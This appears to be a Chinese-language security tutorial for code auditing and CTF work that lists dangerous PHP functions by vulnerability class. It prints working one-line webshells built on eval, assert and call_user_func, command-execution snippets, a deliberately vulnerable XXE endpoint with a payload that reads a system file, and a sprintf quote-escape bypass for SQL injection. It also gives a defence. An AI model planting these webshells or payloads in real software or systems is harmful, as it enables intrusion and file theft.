程式碼執行的危險函式
- eval() 把字串作為php程式碼執行
早期php一句話木馬都用這個
<?php @eval($_POST['shell']);?>
- assert() 檢查一個斷言是否為
false
,將字串作為php程式碼執行
同樣經常被用作一句話木馬
<?php assert(@$_POST['shell']); ?>
- preg_replace() 執行正規表示式的搜尋和替換
當匹配模式/e
時,該函式會將$replacement
作為php程式碼執行
preg_replace("/test/e",$_GET["shell"],"just test");
- create_function() 建立一個匿名函式
跟python的lambda語句類似,在php7.2.0後被廢棄
$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');
- array_map() 為陣列的每個元素應用回撥函式
array_map()函式將使用者自定義的函式作用到陣列中的每個值上,並返回使用者自定義函式作用後帶有新值的陣列,這裡相當於一種動態呼叫
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
- call_user_func() 把第一個引數作為回撥函式呼叫,其他引數是回撥函式的引數
<?php
@call_user_func("assert",$_GET['cmd']);
?>
- call_user_func_array() 呼叫回撥函式,並將第一個陣列引數作為回撥函式引數
<?php
$cmd=$_GET['cmd'];
$array[0]=$cmd;
@call_user_func_array("assert",$array);
?>
- array_filter() 使用回撥函式過濾陣列的元素
依次將陣列中的每個值傳遞到callback
函式,如果callback
函式返回true
,則陣列的當前值會被包含在返回的結果陣列中,陣列的鍵名保留不變
<?php
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
命令執行的危險函式
- system() 執行外部程式,並顯示輸出
<?php
system($_GET['cmd']);
?>
- exec() 執行外部程式
<?php
echo exec("whoami");
?>
- shell_exec() 通過shell環境執行命令,並將完整的輸出以字串的方式返回
<?php
echo shell_exec("whoami");
?>
- passthru() 執行外部程式並且顯示原始輸出
<?php
passthru("whoami");
?>
- proc_open() 執行一個命令,並且開啟用來輸入/輸出的檔案指標
- pcntl_exec() 在當前程式空間執行指定程式
- popen() 開啟程式檔案指標
- 反引號,實質上還是呼叫的
shell_exec()
函式,在CTF題目裡面有的時候會忘記過濾導致直接拿到flag
檔案包含的危險函式
php中包含的函式一共有四個,主要作用為包含並執行指定檔案
- require() 函式
- inclue() 函式
- require_once() 函式
- include_once() 函式
include()
與require_once()
主要的區別是:include()
在包含的過程中如果出現錯誤,會丟擲一個警告,程式繼續執行;而require()
函式出現錯誤時,會直接報錯並退出程式的執行
require_once()
和include_once()
,顯然表示的是檔案只包含一次的意思,避免函式重定義和變數重新賦值等問題
檔案包含還分為了本地檔案包含和遠端檔案包含,這裡就不再進行贅述
當被包含檔案可控的情況下,我們可以包含任意檔案,從而達到GetShell的目的,也可以使用filter偽協議讀取檔案內容,關於php偽協議會在後面的文章進行介紹
SSRF的危險函式
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
- ...
函式使用不當會造成SSRF漏洞
利用的相關協議:
- file協議: 在有回顯的情況下,利用file協議可以讀取任意的內容
- dict協議: 洩露安裝軟體版本資訊,檢視埠,操作內網redis服務等
- gopher協議: gopher支援發出GET,POST請求,可以通過抓包然後構造成gopher協議的請求
- http/s: 探測內網主機存活
一個簡單的file_get_contents()
案例
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
直接在本地環境上測試了,使用file協議讀一下system.ini
檔案
XXE的危險函式
XXE指XML外部實體注入
當允許引用外部實體時,通過構造惡意內容,就可能導致任意檔案讀取,系統命令執行,內網埠探測,攻擊內網網站等危害
這類漏洞可以根據危險函式逆推回去,危險函式有:
- simplexml_load_string() 轉換形式良好的 XML 字串為 SimpleXMLElement 物件,然後輸出物件的鍵和元素
- asXML()
- simplexml_load_file()
- simplexml_import_dom()
- ...
本地搭建一個存在XXE的環境
<?php
error_reporting(0); //禁用外部實體注入 設定為false 相當於不禁用
libxml_disable_entity_loader (false);
//php://input ===> post請求體的內容
$xmlfile = file_get_contents('php://input');
//exit(-1);
//建立一個DOMDocument型別的物件
$dom = new DOMDocument();
//loadXML 從字串中讀取,生成一個DOMDocument型別的物件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//var_dump($dom);
//exit(-1);
//把一個DOMDocument型別的物件轉發成一個simpleXML型別的物件
$creds = simplexml_import_dom($dom); //因為存在SIMPLEXMLelement存在__toString__魔術方法, //因此可以直接列印
echo $creds;
?>
payload為
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM
"php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]>
<creds>&goodies;</creds>
成功讀取base64加密後的system.ini
檔案內容
php防禦手段:
設定
libxml_disable_entity_loader
=TRUE來禁用外部實體
檔案操作相關函式
檔案操作無外乎增刪改查
,在不同場景下利用手法不同
- 增,改 : 寫入shell相關的內容
- 刪 : 刪除.lock檔案導致CMS重新安裝
- 查 讀取配置等檔案,拿到敏感資訊
- ...
檔案操作的函式有很多:
- unlink() 傳入檔名刪除檔案
- copy() 複製檔案
- highlight_file() 對php檔案語法高亮顯示
- show_source() highlight_file的別名
- file_get_contents()
- fopen()
- parse_ini_file()
- readfile()
- fread()
- ...
敏感資訊的危險函式
- phpinfo() 輸出關於php配置的資訊
- getenv() 獲取一個環境變數的值
- get_current_user() 獲取當前php指令碼所有者的名稱
- getlastmod() 獲取頁面最後修改的時間
- ini_get() 獲取一個配置選項的值
- glob() 尋找與模式匹配的檔案路徑
反序列化危險函式
- 序列化函式
serialize()
- 反序列化函式
unserialize()
- php十六個魔術方法,魔術方法命名是以符號__開頭的
__construct()
類的建構函式__destruct()
類的解構函式__call()
在物件中呼叫一個不可訪問方法時呼叫__callStatic()
用靜態方式中呼叫一個不可訪問方法時呼叫__get()
獲得一個類的成員變數時呼叫__set()
設定一個類的成員變數時呼叫__isset()
當對不可訪問屬性呼叫isset()或empty()時呼叫__unset()
當對不可訪問屬性呼叫unset()時被呼叫。__sleep()
執行serialize()時,先會呼叫這個函式__wakeup()
執行unserialize()時,先會呼叫這個函式__toString()
類被當成字串時的回應方法__invoke()
呼叫函式的方式呼叫一個物件時的回應方法__set_state()
呼叫var_export()匯出類時,此靜態方法會被呼叫。__clone()
當物件複製完成時呼叫__autoload()
嘗試載入未定義的類__debugInfo()
列印所需除錯資訊
關於如何利用反序列化漏洞,取決於應用程式的邏輯、可用的類和魔法方法。
unserialize
的引數使用者可控,攻擊者可以構造惡意的序列化字串。當應用程式將惡意字串反序列化為物件後,也就執行了攻擊者指定的操作,如程式碼執行、任意檔案讀取等
SQL隱碼攻擊的危險函式
- mysql_query() 傳送一條MySQL查詢
- mysql_connect() 開啟一個到MySQL伺服器的連結
- sprintf() 將格式化的字串寫入變數中
sprintf(format,arg1,arg2,arg++)
arg1
、arg2
、arg++
引數將被插入到主字串中的百分號(%)符號處。該函式是逐步執行的。在第一個 % 符號處,插入 arg1,在第二個 % 符號處,插入 arg2,依此類推。
註釋:如果 % 符號多於 arg 引數,則您必須使用佔位符。佔位符位於 % 符號之後,由數字和 "$" 組成。
可以利用sprintf()繞過一些過濾字元的函式,例如在如下場景中
<?php
error_reporting(0);
$name = $_GET['name'];
$name = mysql_escape_string(stripslashes($name));
$sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s"));
echo $sql;
?>
我們的單引號被過濾了
可以利用sprintf()
的特性吃掉\
- urldecode() 解碼已編碼的URL字串
- rawurldecode() 對已編碼的URL字串進行解碼
- is_numeric() 判斷傳入引數是否為字串
is_numeric()
函式存在插入十六進位制字串到資料庫,進而導致SQL二次注入的風險
參考連結
- https://www.freebuf.com/articles/web/269184.html
- https://www.cnblogs.com/xiaozi/p/7834367.html
- https://www.cnblogs.com/xiaozi/p/7831529.html
- https://www.freebuf.com/articles/web/182280.html
- https://segmentfault.com/a/1190000007250604
- https://xz.aliyun.com/t/7405
- https://www.erikten.cn/posts/dcd7a0ad.html
- https://xz.aliyun.com/t/5877
- https://blog.csdn.net/qq1124794084/article/details/104802553
- https://www.freebuf.com/column/231352.html
END
建了一個微信的安全交流群,歡迎新增我微信備註進群
,一起來聊天吹水哇,以及一個會發布安全相關內容的公眾號,歡迎關注 ?